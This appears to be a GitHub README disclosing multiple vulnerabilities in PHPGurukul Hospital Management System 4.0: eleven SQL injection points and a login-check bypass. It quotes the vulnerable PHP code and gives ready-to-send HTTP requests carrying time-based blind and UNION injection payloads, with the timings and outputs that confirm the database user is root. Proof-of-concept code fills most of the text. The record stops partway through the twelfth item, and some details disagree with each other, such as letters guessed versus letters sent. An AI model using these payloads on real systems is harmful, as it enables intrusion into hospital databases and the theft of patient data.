

master

Go to file

itodaro add ...

on Feb 15, 2020 2

[View code](#)

README.md

###PHPGurukul Hospital Management System 4.0 Multiple Vulnerability

####General description:

Hospital Management System is web application for hospital which manages doctors and patients. In this project, we use PHP and MySQL database. Website:<https://phpgurukul.com/hospital-management-system-in-php/>

[1]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[2]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\forgot-password.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[3]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\registration.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[4]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\edit-profile.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[5]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\get_doctor.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[6]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\get_doctor.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[7]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\appointment-history.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[8]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\book-appointment.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[9]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\change-emaild.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[10]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\check_availability.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[11]PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\admin\betweendates-detailsreports.php . Remote unauthenticated users can exploit the vulnerability to obtain database sensitive information.

[12]PHPGurukul Hospital Management System in PHP v4.0 has a sensitive information disclosure vulnerability in multiple areas. Remote unauthenticated users can exploit the vulnerability to obtain user sensitive information.

[13]PHPGurukul Hospital Management System in PHP v4.0 has a Persistent Cross-Site Scripting vulnerability in \hms\admin\appointment-history.php . Remote registered users can exploit the vulnerability to obtain user cookie data.

**Environment: ** apache/php 7.0.12/PHPGurukul Hospital Management System 4.0

[1]

In \hms\user-login.php:

```

5 | if(isset($_POST['submit']))
6 | {
7 | $ret=mysqli_query($con,"SELECT * FROM users WHERE email='".$_$_POST[
  'username']."' and password='".md5($_POST['password'])."'");
8 | $num=mysqli_fetch_array($ret);
9 | if($num>0)
10 | {
11 | $extra="dashboard.php";//
12 | $_SESSION['login']=$_POST['username'];
13 | $_SESSION['id']=$num['id'];
14 | $host=$_SERVER['HTTP_HOST'];
15 | $uip=$_SERVER['REMOTE_ADDR'];
16 | $status=1;
17 | // For storing log if user login successful
18 | $log=mysqli_query($con,"insert into
  userlog(uid,username,userip,status) values('".$_SESSION['id']."'','"$_
  $_SESSION['login']."','"$_$uip','$status')");
19 | $uri=rtrim(dirname($_SERVER['PHP_SELF']),'/\\');
20 | header("location:http://$host$uri/$extra");
21 | exit();
22 | }

```

Line 7 gets the value of the POST variable username directly into the database query causing SQL injection.

The following SQL injection statement can be used to get the first letter of the current database user(root) as 'r':

```

POST /hms/user-login.php HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Content-Length: 137
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/user-login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s7128he51c598cvhb15un2

username=a' and 1=2 union select 1,2,if(substring((select user() limit
0,1),1,1)='r',sleep(5),1),4,5,6,7,8,9#&password=asfsafafsaaf&submit=1&submit=

```

The first letter of the current database user(root) obtained through SQL injection is 'r', and the query result is correct, so the request is delayed about 5 seconds:

430 bytes | 6,013 millis

If you query the following statement:

```

username=a' and 1=2 union select 1,2,if(substring((select user() limit
0,1),1,1)='b',sleep(5),1),4,5,6,7,8,9#&password=asfsafafsaaf&submit=1&submit=

```

Through SQL injection to guess the first letter of the current database user(root) is 'b', the query result is wrong, so the request will not be delayed for 5 seconds:

430 bytes | 1,008 millis

[2]

In \hms\forgot-password.php:

```

6 | if(isset($_POST['submit'])) {
7 | $name=$_POST['fullname'];
8 | $email=$_POST['email'];
9 | $query=mysqli_query($con,"select id from users where fullName='$name
  ' and email='$email'");
10 | $row=mysqli_num_rows($query);
11 | if($row>0) {
12 |
13 | $_SESSION['name']=$name;
14 | $_SESSION['email']=$email;
15 | header('location:reset-password.php');

```

Line 9 gets the values of the POST variables name and email directly into the database query causing SQL injection.

The following SQL injection statement can be used to get the first letter of the current database user(root) as 'r':

```

POST /hms/forgot-password.php HTTP/1.1
Host: 127.0.0.1:8009

```

```

Connection: keep-alive
Content-Length: 134
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/forgot-password.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvhb1sun2

```

```

fullname=aaaa' and 1=2 union select if(substring((select user() limit
0,1),1,1)='r',sleep(5),1)#&email=1111%40qqqq.com&submit=&submit=

```

The first letter of the current database user(root) obtained through SQL injection is 'r', and the query result is correct, so the request is delayed about 5 seconds:

3,732 bytes | 5,005 millis

If you query the following statement:

```

fullname=aaaa' and 1=2 union select if(substring((select user() limit
0,1),1,1)='b',sleep(5),1)#&email=1111%40qqqq.com&submit=&submit=

```

Through SQL injection to guess the first letter of the current database user(root) is 'b', the query result is wrong, so the request will not be delayed for 5 seconds:

3,732 bytes | 3 millis

[3]

In\hms\registration.php:

```

3  if(isset($_POST['submit']))
4  {
5      $fname=$_POST['full_name'];
6      $address=$_POST['address'];
7      $city=$_POST['city'];
8      $gender=$_POST['gender'];
9      $email=$_POST['email'];
10     $password=md5($_POST['password']);
11     $query=mysqli_query($con,"insert into
    users(fullname,address,city,gender,email,password) values('$fname','
    $address','$city','$gender','$email','$password')");

```

Line 11 gets the values of the POST variables full_name, address, city, gender, and email directly into the database query causing SQL injection.

The following SQL injection statement can be used to get the first letter of the current database user(root) as 'r':

```

POST /hms/registration.php HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Content-Length: 185
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/registration.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvhb1sun2

fullname=aaa',if(substring((select user() limit
0,1),1,1)='r',sleep(5),1),2,3,4,5)#&address=bbb&city=ccc&gender=female&email=1%402sq.com&password=a123123&password_again=a123123&submit=

```

The first letter of the current database user(root) obtained through SQL injection is 'r', and the query result is correct, so the request is delayed about 5 seconds:

5,889 bytes | 5,008 millis

If you query the following statement:

```
full_name=aaa',if(substring((select user() limit 0,1),1,1)='b',sleep(5),1),2,3,4,5)#&address=bbb&city=ccc&gender=female&email=1%402sq.com&password=a123123&password_again=a123123&subm
```



Through SQL injection to guess the first letter of the current database user(root) is 'b', the query result is wrong, so the request will not be delayed for 5 seconds:

5,889 bytes | 6 millis

[4]

In \hms\edit-profile.php:

```
5 include('include/checklogin.php');
6 check_login();
```

Line 6 uses the check_login function to verify that the user is logged in. In this function:

```
2 function check_login()
3 {
4     if(strlen($_SESSION['login'])==0)
5     {
6         $host = $_SERVER['HTTP_HOST'];
7         $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
8         $extra="/user-login.php";
9         header("Location: http://$host$uri/$extra");
10    }
11 }
```

If \$_SESSION['login'] is empty in line 4, the user is not logged in, and the user is redirected to the login page through line 9.

In \hms\user-login.php:

```
23 else
24 {
25     // For stroing log if user login unsuccessful
26     $_SESSION['login']=$_POST['username'];
```

If the user enters the wrong username and password, line 26 assigns the username submitted by the user to \$_SESSION['login'].

So as long as you first visit /hms/user-login.php and try to log in to an account, \$_SESSION['login'] will not be empty, you can bypass the check of the check_login function and achieve privilege elevation.

Back in \hms\edit-profile.php:

```
7 if(isset($_POST['submit']))
8 {
9     $fname=$_POST['fname'];
10    $address=$_POST['address'];
11    $city=$_POST['city'];
12    $gender=$_POST['gender'];
13
14    $sql=mysqli_query($con,"Update users set fullName='$fname',address='
    $address',city='$city',gender='$gender' where id='".$_SESSION['id']."'");
```

Line 14 gets the POST variables fname, address, city, and gender values directly into the database query and causes SQL injection.

The following SQL injection statement can be used to get the first letter of the current database user(root) as 'r':

```
POST /hms/edit-profile.php HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Content-Length: 170
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/registration.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvb15un2

fname=aaa'|if(substring((select user() limit 0,1),1,1)='r',sleep(5),1),address='aaaaaaa',city='ccc',gender='female' where id=2#&address=bbb&city=ccc&gender=female&submit=
```

The first letter of the current database user(root) obtained through SQL injection is 'r', and the query result is correct, so the request is delayed about 5 seconds:

14,479 bytes | 5,011 millis

If you query the following statement:

```
fname=aaa'|if(substring((select user() limit 0,1),1,1)='b',sleep(5),1),address='aaaaaaa',city='ccc',gender='female' where id=2#&address=bbb&city=ccc&gender=female&submit=
```

Through SQL injection to guess the first letter of the current database user(root) is 'b', the query result is wrong, so the request will not be delayed for 5 seconds:

14,479 bytes | 9 millis

[5]

In \hms\get_doctor.php:

```
6 $sql=mysqli_query($con,"select doctorName,id from doctors where  
specilization='". $_POST['specilizationid']."'");?>
```

Line 6 gets the POST variable specilizationid value directly into the database query causing SQL injection.

You can get the current database user as root through the following SQL injection statement:

```
POST /hms/get_doctor.php HTTP/1.1  
Host: 127.0.0.1:8009  
Connection: keep-alive  
Content-Length: 51  
Pragma: no-cache  
Cache-Control: no-cache  
Origin: http://127.0.0.1:8009  
Upgrade-Insecure-Requests: 1  
DNT: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36  
Sec-Fetch-Dest: document  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Referer: http://127.0.0.1:8009/hms/registration.php  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: PHPSESSID=vn7s77128he51c598cvhb15un2  
  
specilizationid=aaa' and 1=2 union select user(),2#
```

As shown in the figure, the current database user obtained through SQL injection is root:

```
HTTP/1.1 200 OK  
Date: Thu, 13 Feb 2020 08:31:05 GMT  
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.38  
X-Powered-By: PHP/5.5.38  
Content-Length: 104  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html  
  
<option selected="selected">Select Doctor </option>  
<option value="2">root@localhost</option>
```

[6]

In \hms\get_doctor.php:

```
17 if(!empty($_POST["doctor"]))  
18 {  
19  
20 $sql=mysqli_query($con,"select docFees from doctors where id='".  
$_POST['doctor']."'");  
21 while($row=mysqli_fetch_array($sql))  
22 {  
23 <option value="<?php echo htmlentities($row['docFees']); ?>"><?php  
echo htmlentities($row['docFees']); ?></option>
```

Line 20 gets the POST variable specilizationid value directly into the database query causing SQL injection.

You can get the current database user as root through the following injection statement:

```
POST /hms/get_doctor.php HTTP/1.1  
Host: 127.0.0.1:8009  
Connection: keep-alive  
Content-Length: 40  
Pragma: no-cache  
Cache-Control: no-cache  
Origin: http://127.0.0.1:8009  
Upgrade-Insecure-Requests: 1  
DNT: 1
```

```

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/registration.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvhb15un2

```

doctor=aaa' and 1=2 union select user()#

As shown in the figure, the current database user obtained through SQL injection is root:

```

HTTP/1.1 200 OK
Date: Thu, 13 Feb 2020 08:37:43 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.38
X-Powered-By: PHP/5.5.38
Content-Length: 61
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<option value="root@localhost">root@localhost</option>

```

[7]

In \hms\appointment-history.php:

```

6 | check_login();
7 | if(isset($_GET['cancel']))
8 | {
9 |     mysqli_query($con,"update appointment set
    |     userStatus='0' where id = '".$_GET['id']."'");
10 |     $_SESSION['msg']="Your appointment canceled !!";
11 | }

```

Line 6 uses the check_login function to verify that the user is logged in. In this function:

```

2 | function check_login()
3 | {
4 |     if(strlen($_SESSION['login'])==0)
5 |     {
6 |         $host = $_SERVER['HTTP_HOST'];
7 |         $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
8 |         $extra="/user-login.php";
9 |         header("Location: http://$host$uri/$extra");
10 |     }
11 | }

```

If \$_SESSION['login'] is empty in line 4, the user is not logged in, and the user is redirected to the login page through line 9.

In \hms\user-login.php:

```

23 | else
24 | {
25 |     // For stroing log if user login unsuccessful
26 |     $_SESSION['login']=$_POST['username'];

```

If the user enters the wrong username and password, line 26 assigns the username submitted by the user to \$_SESSION['login'].

So as long as you first visit /hms/user-login.php and try to log in to an account, \$_SESSION['login'] will not be empty, you can bypass the check of the check_login function and achieve privilege elevation.

Back in \hms\appointment-history.php, line 9 gets the id value of the GET variable directly into the database query and causes SQL injection.

The following SQL injection statement can be used to get the first letter of the current database user(root) as 'r':

```

GET /hms/appointment-history.php?cancel=1&id=3'/**/and/**/if(substring((select/**/user())/**/limit/**/0,1),1,1)='r',sleep(5),1)%23
HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvhb15un2

```

The first letter of the current database user(root) obtained through SQL injection is 'r', and the query result is correct, so the request is delayed about 5 seconds:

14,484 bytes | 5,013 millis

If you query the following statement:

```
GET /hms/appointment-history.php?cancel=1&id=3'/**/and/**/if(substring((select/**/user())/**/limit/**/0,1),1,1)='a',sleep(5),1)%23
HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvhb15un2
```

Through SQL injection to guess the first letter of the current database user(root) is 'b', the query result is wrong, so the request will not be delayed for 5 seconds:

14,484 bytes | 7 millis

[8]

In \hms\book-appointment.php:

```
6  check_login();
7
8  if(isset($_POST['submit']))
9  {
10     $specilization=$_POST['Doctorspecialization'];
11     $doctorid=$_POST['doctor'];
12     $userid=$_SESSION['id'];
13     $fees=$_POST['fees'];
14     $appdate=$_POST['appdate'];
15     $time=$_POST['apptime'];
16     $userstatus=1;
17     $docstatus=1;
18     $query=mysqli_query($con,"insert into
appointment(doctorSpecialization,doctorId,userId,consultancyFees,appoi
nmentDate,appointmentTime,userStatus,doctorStatus) values('
$specilization','$doctorid','$userid','$fees','$appdate','$time','$
$userstatus','$docstatus')");
```

Line 6 uses the check_login function to verify that the user is logged in. In this function:

```
2  function check_login()
3  {
4      if(strlen($_SESSION['login'])==0)
5      {
6          $host = $_SERVER['HTTP_HOST'];
7          $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
8          $extra="./user-login.php";
9          header("Location: http://$host$uri/$extra");
10     }
11 }
```

If \$_SESSION['login'] is empty in line 4, the user is not logged in, and the user is redirected to the login page through line 9.

In \hms\user-login.php:

```
23  else
24  {
25      // For stroing log if user login unsuccessfull
26      $_SESSION['login']=$_POST['username'];
```

If the user enters the wrong username and password, line 26 assigns the username submitted by the user to \$_SESSION['login'].

So as long as you first visit /hms/user-login.php and try to log in to an account, \$_SESSION['login'] will not be empty, you can bypass the check of the check_login function and achieve privilege elevation.

Back in appointment-history.php, line 18 gets the POST variables Doctorspecialization, doctor, feet, appdate, and apptime values directly into the database query resulting in SQL injection.

The following SQL injection statement can be used to get the first letter of the current database user(root) as 'r':

```
POST /hms/book-appointment.php HTTP/1.1
Host: 127.0.0.1:8009
```

```

Connection: keep-alive
Content-Length: 159
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/book-appointment.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s7128he51c598cvhb1sun2

Doctorspecialization=1',if(substring((select user() limit 0,1),1,1)='r',sleep(5),1),3,4,5,6,7,8)#&doctor=2&appdate=2020-02-13&apptime=10%3A30+AM&submit=&fees=2

```

The first letter of the current database user(root) obtained through SQL injection is 'r', and the query result is correct, so the request is delayed about 5 seconds:

18,211 bytes | 5,009 millis

If you query the following statement:

```

Doctorspecialization=1',if(substring((select user() limit 0,1),1,1)='a',sleep(5),1),3,4,5,6,7,8)#&doctor=2&appdate=2020-02-13&apptime=10%3A30+AM&submit=&fees=2

```

Through SQL injection to guess the first letter of the current database user(root) is 'b', the query result is wrong, so the request will not be delayed for 5 seconds:

18,211 bytes | 10 millis

[9]

In \hms\ change-emaild.php:

```

6 | check_login();
7 | if(isset($_POST['submit']))
8 | {
9 |     $email=$_POST['email'];
10 |    $sql=mysqli_query($con,"Update users set email='$email' where id='".
    |    $_SESSION['id']."'");

```

Line 6 uses the check_login function to verify that the user is logged in. In this function:

```

2 | function check_login()
3 | {
4 |     if(strlen($_SESSION['login'])==0)
5 |     {
6 |         $host = $_SERVER['HTTP_HOST'];
7 |         $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
8 |         $extra="./user-login.php";
9 |         header("Location: http://$host$uri/$extra");
10 |     }
11 | }

```

If \$_SESSION['login'] is empty in line 4, the user is not logged in, and the user is redirected to the login page through line 9.

In \hms\user-login.php:

```

23 | else
24 | {
25 |     // For stroing log if user login unsuccessful
26 |     $_SESSION['login']=$_POST['username'];

```

If the user enters the wrong username and password, line 26 assigns the username submitted by the user to \$_SESSION['login'].

So as long as you first visit /hms/user-login.php and try to log in to an account, \$_SESSION['login'] will not be empty, you can bypass the check of the check_login function and achieve privilege elevation.

Back in change-email.php, line 10 gets the POST variable email value directly into the database query causing SQL injection.

The following SQL injection statement can be used to get the first letter of the current database user(root) as 'r':

```

POST /hms/change-emaild.php HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Content-Length: 97
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded

```



```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/change-emaild.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvhb15un2

email=1@2qaz.com' | if(substring((select user() limit 0,1),1,1)='r',sleep(5),1) where id=2#&submit=
```

The first letter of the current database user(root) obtained through SQL injection is 'r', and the query result is correct, so the request is delayed about 5 seconds:

15,340 bytes | 5,014 millis

If you query the following statement: email=1@2qaz.com' | if(substring((select user() limit 0,1),1,1)='b',sleep(5),1) where id=2#&submit= Through SQL injection to guess the first letter of the current database user(root) is 'b', the query result is wrong, so the request will not be delayed for 5 seconds:

15,340 bytes | 7 millis

[10]

In \hms\ check_availability.php:

```
3  if (!empty($_POST["email"])) {
4      $email= $_POST["email"];
5
6      $result =mysqli_query($con,"SELECT email FROM users WHERE
7      email='$email'");
      $count=mysqli_num_rows($result);
```

Line 6 gets the POST variable email value directly into the database query causing SQL injection.

The following SQL injection statement can be used to get the first letter of the current database user(root) as 'r':

```
POST /hms/check_availability.php HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Content-Length: 119
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/change-emaild.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvhb15un2

email=1@2qaz.com' and 1=2 union select case when substring((select user() limit 0,1),1,1)='r' then sleep(5) else 0 end#
```

The first letter of the current database user(root) obtained through SQL injection is 'r', and the query result is correct, so the request is delayed about 5 seconds:

347 bytes | 6,019 millis

If you query the following statement:

```
email=1@2qaz.com' and 1=2 union select case when substring((select user() limit 0,1),1,1)='a' then sleep(5) else 0 end#
```

Through SQL injection to guess the first letter of the current database user(root) is 'b', the query result is wrong, so the request will not be delayed for 5 seconds:

347 bytes | 1,000 millis

[11]

In \hms\admin\betweendates-detailsreports.php:

```
5  include('include/checklogin.php');
6  check_login();
```

Line 6 uses the check_login function to verify that the user is logged in. In this function:

```

2 | function check_login()
3 | {
4 |     if(strlen($_SESSION['login'])==0)
5 |     {
6 |         $host = $_SERVER['HTTP_HOST'];
7 |         $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
8 |         $extra="./user-login.php";
9 |         header("Location: http://$host$uri/$extra");
10 |     }
11 | }

```

If \$_SESSION['login'] is empty in line 4, the user is not logged in, and the user is redirected to the login page through line 9.

In \hms\user-login.php:

```

23 | else
24 | {
25 |     // For stroing log if user login unsuccesfull
26 |     $_SESSION['login']=$_POST['username'];

```

If the user enters the wrong username and password, line 26 assigns the username submitted by the user to \$_SESSION['login'].

So as long as you first visit /hms/user-login.php and try to log in to an account, \$_SESSION['login'] will not be empty, you can bypass the check of the check_login function and achieve privilege elevation.

Back in \hms\admin\between dates-detailsreports.php:

```

78 | $sql=mysqli_query($con,"select * from tblpatient where
    | date(CreationDate) between '$fdate' and '$tdate'");

```

Line 79 gets the POST variable fromdate, todate value directly into the database query causing SQL injection.

You can get the current database user as root through the following SQL injection statement:

```

POST /hms/admin/between dates-detailsreports.php HTTP/1.1
Host: 127.0.0.1:8009
Connection: keep-alive
Content-Length: 71
Pragma: no-cache
Cache-Control: no-cache
Origin: http://127.0.0.1:8009
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: http://127.0.0.1:8009/hms/change-emaild.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vn7s77128he51c598cvhb15un2

fromdate=1' and 1=2 union select 1,2,user(),4,5,6,7,8,9,10,11#&todate=2

```

As shown in the figure, the current database user obtained through SQL injection is root:

```

<h5 align="center" style="color:blue">Report from 1' and 1=2 union select 1,2,user(),4,5,6,7,8,9,10,11#
to 2</h5>

<table class="table table-hover" id="sample-table-1">
<thead>
<tr>
<th class="center">#</th>
<th>Patient Name</th>
<th>Patient Contact Number</th>
<th>Patient Gender </th>
<th>Creation Date </th>
<th>Updation Date </th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td class="center">1.</td>
<td class="hidden-xs">root@localhost</td>
<td>4</td>
<td>6</td>
<td>10</td>
<td>11</td>
<td>

```

[12]

In \hms\admin\appointment-history.php:

```

5 | include('include/checklogin.php');
6 | check_login();

```

Line 6 uses the check_login function to verify that the user is logged in. In this function:

```

2 function check_login()
3 {
4     if(strlen($_SESSION['login'])==0)
5     {
6         $host = $_SERVER['HTTP_HOST'];
7         $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
8         $extra="./user-login.php";
9         header("Location: http://$host$uri/$extra");
10    }
11 }

```

If `$_SESSION['login']` is empty in line 4, the user is not logged in, and the user is redirected to the login page through line 9.

In `\hms\user-login.php`:

```

23 else
24 {
25     // For stroing log if user login unsuccessfull
